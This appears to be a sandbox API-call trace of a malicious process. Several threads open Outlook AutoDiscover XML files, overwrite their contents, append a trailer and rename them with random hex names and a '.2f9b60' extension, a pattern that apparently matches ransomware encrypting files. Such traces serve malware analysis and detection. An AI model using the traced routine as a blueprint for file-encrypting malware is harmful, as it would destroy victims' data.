[0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x8087fb4 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x349da6c5 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x63ad9a03 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x58327c7e [0230.440] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x286a9569 [0230.440] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x55216ccb [0230.440] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x7f9429c7 [0230.440] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x1600585 [0230.440] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x25ab45bd [0230.447] ReadFile (in: hFile=0x4ac, lpBuffer=0x2045d320, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2b98f6d0, lpOverlapped=0x0 | out: lpBuffer=0x2045d320*, lpNumberOfBytesRead=0x2b98f6d0*=0x32c, lpOverlapped=0x0) returned 1 [0230.447] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.447] WriteFile (in: hFile=0x4ac, lpBuffer=0x2044a6d0*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2b98f6d4, lpOverlapped=0x0 | out: lpBuffer=0x2044a6d0*, lpNumberOfBytesWritten=0x2b98f6d4*=0x32c, lpOverlapped=0x0) returned 1 [0233.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0233.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e30 [0233.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e30) returned 1 [0233.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044a6d0) returned 1 [0233.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2045d320) returned 1 [0233.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0233.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0233.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431ad0e0 [0233.718] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.718] WriteFile (in: hFile=0x4ac, lpBuffer=0x42c15830*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2b98f7f0, lpOverlapped=0x0 | out: lpBuffer=0x42c15830*, lpNumberOfBytesWritten=0x2b98f7f0*=0x112, lpOverlapped=0x0) returned 1 [0235.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0235.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260830) returned 1 [0235.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0235.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0235.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0235.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0235.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97b70 [0235.749] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="88") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="35") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="68") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="ab") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="66") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="75") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="37") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="b3") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="8e") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="eb") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="61") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="bd") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="06") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="07") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="7c") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="97") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="cd") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="c1") returned 2 [0235.749] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.750] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="36") returned 2 [0235.750] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="86") returned 2 [0235.750] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="90") returned 2 [0235.750] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="34") returned 2 [0235.750] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="ed") returned 2 [0235.750] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="a3") returned 2 [0235.750] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.750] sprintf (in: _Dest=0x1cd97ba8, _Format="%c%c" | out: _Dest="5d") returned 2 [0235.750] sprintf (in: _Dest=0x1cd97baa, _Format="%c%c" | out: _Dest="b5") returned 2 [0235.750] sprintf (in: _Dest=0x1cd97bac, _Format="%c%c" | out: _Dest="45") returned 2 [0235.750] sprintf (in: _Dest=0x1cd97bae, _Format="%c%c" | out: _Dest="40") returned 2 [0235.750] RtlInitAnsiString (in: DestinationString=0x2b98f868, SourceString="883568ab66b47537b38eeb61a0bd06077c97cdc1b936869034eda32e5db54540" | out: DestinationString="883568ab66b47537b38eeb61a0bd06077c97cdc1b936869034eda32e5db54540") [0235.750] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b98f838, SourceString="883568ab66b47537b38eeb61a0bd06077c97cdc1b936869034eda32e5db54540", AllocateDestinationString=1 | out: DestinationString="883568ab66b47537b38eeb61a0bd06077c97cdc1b936869034eda32e5db54540") returned 0x0 [0235.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x431a2720 [0235.751] wcscat (in: _Dest=0x4314c520, _Source="883568ab66b47537" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\883568ab66b47537") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\883568ab66b47537" [0235.751] wcscat (in: _Dest=0x4314c520, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\883568ab66b47537.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\883568ab66b47537.2f9b60" [0235.751] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\883568ab66b47537.2f9b60", NtPathName=0x2b98f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\883568ab66b47537.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x430d6720 Thread: id = 3830 os_tid = 0x14d8 [0227.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml")) returned 0x20 [0229.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML", dwFileAttributes=0x20) returned 1 [0229.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1120 [0229.282] GetFileSizeEx (in: hFile=0x1120, lpFileSize=0x2ef3fbc0 | out: lpFileSize=0x2ef3fbc0*=812) returned 1 [0229.282] SetFilePointerEx (in: hFile=0x1120, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.282] ReadFile (in: hFile=0x1120, lpBuffer=0x2ef3fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ef3fb88, lpOverlapped=0x0 | out: lpBuffer=0x2ef3fb40*, lpNumberOfBytesRead=0x2ef3fb88*=0x4, lpOverlapped=0x0) returned 1 [0230.740] SetFilePointerEx (in: hFile=0x1120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bc0 [0230.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263290 [0230.741] NtQuerySystemTime (in: CurrentTime=0x2ef3fa80 | out: CurrentTime=0x2ef3fa80*=132462178347406000) returned 0x0 [0230.741] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x67cfa10d [0230.741] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x2ade06f7 [0230.750] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x5c375e50 [0230.750] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x14a32c34 [0230.750] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x41b1f32b [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x2b2ff87 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x2537c70e [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x40c49f67 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x609a5a92 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x68a6ab09 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x35fa711a [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x1ae13a9f [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x1a8c6b1b [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x5ff20646 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x5af42e06 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x2a7d0940 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x767a09a3 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x36424cd2 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x69ae6f18 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x2465934 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x19e1081b [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x789794e0 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x3e60bc48 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x3a6f0227 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x739acad9 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x15676ec0 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x4fe019d8 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x2ec4f7b0 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x435aa5b8 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x16e82f32 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x17702ce2 [0230.751] RtlRandomEx (in: Seed=0x2ef3fa70 | out: Seed=0x2ef3fa70) returned 0x3d246089 [0230.761] ReadFile (in: hFile=0x1120, lpBuffer=0x42f830d0, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2ef3fa70, lpOverlapped=0x0 | out: lpBuffer=0x42f830d0*, lpNumberOfBytesRead=0x2ef3fa70*=0x32c, lpOverlapped=0x0) returned 1 [0230.761] SetFilePointerEx (in: hFile=0x1120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.761] WriteFile (in: hFile=0x1120, lpBuffer=0x42f86ce0*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2ef3fa74, lpOverlapped=0x0 | out: lpBuffer=0x42f86ce0*, lpNumberOfBytesWritten=0x2ef3fa74*=0x32c, lpOverlapped=0x0) returned 1 [0233.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263950 [0233.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627e0 [0233.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202627e0) returned 1 [0233.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f86ce0) returned 1 [0233.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f830d0) returned 1 [0233.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0233.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0233.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431acd20 [0233.860] SetFilePointerEx (in: hFile=0x1120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.860] WriteFile (in: hFile=0x1120, lpBuffer=0x431f1ec0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ef3fb90, lpOverlapped=0x0 | out: lpBuffer=0x431f1ec0*, lpNumberOfBytesWritten=0x2ef3fb90*=0x112, lpOverlapped=0x0) returned 1 [0236.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0236.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261fd0) returned 1 [0236.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0236.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0236.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0236.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261a90) returned 1 [0236.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97620 [0236.117] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="ea") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="43") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="40") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="f2") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="a4") returned 2 [0236.117] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="52") returned 2 [0236.117] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="61") returned 2 [0236.117] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="de") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="41") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="f9") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="6d") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="66") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="2d") returned 2 [0236.117] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="76") returned 2 [0236.117] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="c8") returned 2 [0236.117] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="3e") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="5d") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="a7") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="1b") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="e5") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="02") returned 2 [0236.117] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="06") returned 2 [0236.117] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="07") returned 2 [0236.117] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="1a") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="16") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="53") returned 2 [0236.117] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="66") returned 2 [0236.118] sprintf (in: _Dest=0x1cd97658, _Format="%c%c" | out: _Dest="c6") returned 2 [0236.118] sprintf (in: _Dest=0x1cd9765a, _Format="%c%c" | out: _Dest="fe") returned 2 [0236.118] sprintf (in: _Dest=0x1cd9765c, _Format="%c%c" | out: _Dest="e5") returned 2 [0236.118] sprintf (in: _Dest=0x1cd9765e, _Format="%c%c" | out: _Dest="62") returned 2 [0236.118] RtlInitAnsiString (in: DestinationString=0x2ef3fc08, SourceString="ea4340f2a45261de41f96d662d76c83e5da71be50206071a16e25366c6fee562" | out: DestinationString="ea4340f2a45261de41f96d662d76c83e5da71be50206071a16e25366c6fee562") [0236.118] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ef3fbd8, SourceString="ea4340f2a45261de41f96d662d76c83e5da71be50206071a16e25366c6fee562", AllocateDestinationString=1 | out: DestinationString="ea4340f2a45261de41f96d662d76c83e5da71be50206071a16e25366c6fee562") returned 0x0 [0236.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b784520 [0236.118] wcscat (in: _Dest=0x430e27e0, _Source="ea4340f2a45261de" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ea4340f2a45261de") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ea4340f2a45261de" [0236.118] wcscat (in: _Dest=0x430e27e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ea4340f2a45261de.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ea4340f2a45261de.2f9b60" [0236.118] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ea4340f2a45261de.2f9b60", NtPathName=0x2ef3fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ea4340f2a45261de.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x430d78a0 Thread: id = 3831 os_tid = 0x15b4 [0227.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml")) returned 0x20 [0229.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML", dwFileAttributes=0x20) returned 1 [0229.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x944 [0229.285] GetFileSizeEx (in: hFile=0x944, lpFileSize=0x2bb0fa80 | out: lpFileSize=0x2bb0fa80*=806) returned 1 [0229.285] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.285] ReadFile (in: hFile=0x944, lpBuffer=0x2bb0fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bb0fa48, lpOverlapped=0x0 | out: lpBuffer=0x2bb0fa00*, lpNumberOfBytesRead=0x2bb0fa48*=0x4, lpOverlapped=0x0) returned 1 [0230.715] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260800 [0230.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0230.717] NtQuerySystemTime (in: CurrentTime=0x2bb0f940 | out: CurrentTime=0x2bb0f940*=132462178347094000) returned 0x0 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x55787f3 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x609a5a92 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x31497f32 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x40695b45 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x6318f232 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x5bd832c6 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x1b62a6db [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x2b6b523d [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x2327c19 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x36b5ee6b [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x4a53b3f1 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x6fb22358 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x40ca3223 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x26e22e0d [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x4dd54155 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x68ca40e4 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x6e4ff586 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x4a6e3f37 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x450d9db0 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x1fd870ad [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x65fbb4f8 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x653b976a [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x6431d8fd [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x6d571afe [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x7032d461 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x7d1bf250 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x789794e0 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x7bd1f49 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x6df10572 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x77089969 [0230.717] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x33713619 [0230.718] RtlRandomEx (in: Seed=0x2bb0f930 | out: Seed=0x2bb0f930) returned 0x25003d0b 